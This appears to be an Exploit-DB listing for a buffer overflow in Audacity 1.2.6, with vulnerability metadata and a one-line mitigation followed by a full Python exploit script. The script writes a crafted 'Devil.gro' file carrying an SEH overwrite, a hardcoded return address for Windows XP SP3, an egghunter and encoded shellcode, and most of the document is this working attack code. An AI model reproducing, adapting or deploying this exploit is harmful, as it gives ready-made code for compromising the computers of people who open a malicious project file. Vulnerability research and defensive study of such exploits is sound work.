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Suggest Exploit
vendor:
Audacity
by:
Encrypt3d.M!nd
7.8
CVSS
HIGH
Buffer Overflow
119
CWE
Product Name: Audacity
Affected Version From: 1.2.2006
Affected Version To: 1.2.2006
Patch Exists: YES
Related CWE: N/A
CPE: a:audacityteam:audacity:1.2.6
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Windows XP SP3
2009

Audacity 1.2.6 (gro File) Buffer overflow Exploit

This exploit is for Audacity 1.2.6 (gro File) Buffer overflow vulnerability. It uses an address as an universal, but it can't be called to jump as it causes privileged_ exception. It has been tested on Windows XP SP3.

Mitigation:

Update to the latest version of Audacity.
Source

Exploit-DB raw data:

#exploit.py
# Audacity 1.2.6 (gro File) Buffer overflow Exploit
# By: Encrypt3d.M!nd
#     http://m1nd3d.wordpress.com/
#####################################################
# i know this exploit already been posted, but the author
# used an address as an universal,well,it's universal but
# it can't be called to jump.because it cause privileged_
# exception,so you can just use it.
#
# Tested on: Windows xp sp3
#

chars = "\x44" * 174
ns= "\xeb\x08\x90\x90"
sh= "\xbe\x2e\xd1\x72" # Windows xp sp3 - msacm32.drv

nops= "\x90"* 20

eggh= "\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8\x69\x72\x61\x71\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7"

shellcode= "\x69\x72\x61\x71\x69\x72\x61\x71"

shellcode+= (
"\x89\xe6\xd9\xc7\xd9\x76\xf4\x59\x49\x49\x49\x49\x49\x49\x49"
"\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a\x41"
"\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42"
"\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x4b"
"\x4c\x4a\x48\x4c\x49\x43\x30\x43\x30\x45\x50\x45\x30\x4b\x39"
"\x4a\x45\x46\x51\x4e\x32\x51\x74\x4c\x4b\x46\x32\x44\x70\x4c"
"\x4b\x42\x72\x44\x4c\x4e\x6b\x43\x62\x42\x34\x4e\x6b\x51\x62"
"\x47\x58\x44\x4f\x48\x37\x51\x5a\x45\x76\x46\x51\x49\x6f\x45"
"\x61\x4f\x30\x4e\x4c\x47\x4c\x51\x71\x51\x6c\x45\x52\x46\x4c"
"\x47\x50\x4f\x31\x4a\x6f\x44\x4d\x45\x51\x4f\x37\x4d\x32\x48"
"\x70\x42\x72\x46\x37\x4c\x4b\x46\x32\x42\x30\x4e\x6b\x50\x42"
"\x45\x6c\x47\x71\x4e\x30\x4e\x6b\x51\x50\x51\x68\x4c\x45\x4f"
"\x30\x44\x34\x51\x5a\x46\x61\x48\x50\x42\x70\x4c\x4b\x50\x48"
"\x42\x38\x4c\x4b\x50\x58\x51\x30\x46\x61\x4e\x33\x4d\x33\x47"
"\x4c\x43\x79\x4c\x4b\x50\x34\x4c\x4b\x46\x61\x4a\x76\x46\x51"
"\x49\x6f\x44\x71\x49\x50\x4c\x6c\x4b\x71\x4a\x6f\x46\x6d\x47"
"\x71\x4f\x37\x46\x58\x4b\x50\x43\x45\x4a\x54\x43\x33\x43\x4d"
"\x4b\x48\x47\x4b\x43\x4d\x51\x34\x43\x45\x4b\x52\x42\x78\x4c"
"\x4b\x46\x38\x45\x74\x46\x61\x4a\x73\x45\x36\x4c\x4b\x46\x6c"
"\x50\x4b\x4e\x6b\x43\x68\x45\x4c\x46\x61\x4e\x33\x4c\x4b\x46"
"\x64\x4e\x6b\x43\x31\x4e\x30\x4e\x69\x51\x54\x46\x44\x51\x34"
"\x51\x4b\x51\x4b\x43\x51\x51\x49\x51\x4a\x50\x51\x49\x6f\x49"
"\x70\x51\x48\x51\x4f\x43\x6a\x4c\x4b\x42\x32\x4a\x4b\x4f\x76"
"\x43\x6d\x50\x6a\x47\x71\x4e\x6d\x4d\x55\x4e\x59\x47\x70\x43"
"\x30\x45\x50\x46\x30\x42\x48\x44\x71\x4e\x6b\x42\x4f\x4f\x77"
"\x4b\x4f\x4a\x75\x4d\x6b\x4d\x30\x45\x4d\x46\x4a\x44\x4a\x42"
"\x48\x49\x36\x4c\x55\x4d\x6d\x4d\x4d\x49\x6f\x4e\x35\x45\x6c"
"\x45\x56\x51\x6c\x44\x4a\x4b\x30\x4b\x4b\x4b\x50\x51\x65\x44"
"\x45\x4d\x6b\x50\x47\x44\x53\x42\x52\x50\x6f\x42\x4a\x43\x30"
"\x46\x33\x4b\x4f\x4a\x75\x42\x43\x50\x61\x50\x6c\x42\x43\x43"
"\x30\x41\x41")


file = open('Devil.gro','w')
file.write(chars+ns+sh+nops+eggh+chars+shellcode)
file.close()